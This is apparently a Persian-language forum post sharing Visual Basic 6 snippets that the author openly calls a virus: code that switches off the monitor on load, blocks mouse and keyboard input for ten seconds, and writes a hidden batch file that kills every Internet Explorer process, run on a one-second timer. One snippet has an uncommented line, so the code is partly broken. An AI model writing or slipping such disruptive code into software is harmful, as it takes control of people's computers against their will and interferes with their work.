خاموش شدن مانیتور ::21:
میدونم که این ویروس را خیلی جاها دیدین اما گفتم شاید بعضی ها بلد نباشند.
[PHP]Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const SC_MONITORPOWER = &HF170&
Const MON_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Sub Form_Load()
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MON_OFF
End Sub [/PHP]
از کار انداختن موس و کیبورد ::21:
این کد می تونه موس و کیبورد را به مدت 10 ثانیه از کار بندازه.
[PHP]Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Activate()
DoEvents
'block the mouse and keyboard input
BlockInput True
'wait 10 seconds before unblocking it
Sleep 10000
unblock the mouse and keyboard input
BlockInput False
End Sub [/PHP]
بستن تمام صفحات وب::21:
[PHP]Open "c:\1.bat" For Output As #1
Print #1, "tskill iexplore"
Close #1
[/PHP]
اگه خواستید کار بردیش کنید یک تایمر با Interval=1000 ایجاد کنید و این کد ها را توش بنویسید:
[PHP]Shell "c:\1.bat", vbHide [/PHP]
حالا نظرت چیه؟؟؟؟؟؟؟؟؟؟؟؟؟؟:46:
